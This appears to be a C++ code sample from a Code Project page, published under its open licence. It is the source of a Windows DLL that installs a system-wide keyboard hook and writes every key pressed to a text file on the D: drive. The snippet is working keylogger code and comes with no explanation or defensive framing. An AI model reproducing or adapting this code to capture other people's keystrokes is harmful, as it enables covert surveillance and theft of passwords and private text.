BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { hInst=(HINSTANCE)hModule; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: ::DisableThreadLibraryCalls((HMODULE)hModule); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnInstallKBHook(); break; } return TRUE; } extern "C" __declspec(dllexport) void InstallKBHook() { FILE *fp=fopen("D:\\KBHOOK.txt","a+"); if(fp) fclose(fp); hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardHook,hInst,0); } int UnInstallKBHook() { if(hkb)UnhookWindowsHookEx(hkb); return 1; } LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardHook(int nCode,WPARAM wParam, LPARAM lParam) { if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) { FILE *fp=fopen("D:\\KBHOOK.txt","a+"); if(fp) { fprintf(fp,"\n KeyPressed %c",(char)wParam); fclose(fp); } } LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam ); return RetVal; }
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)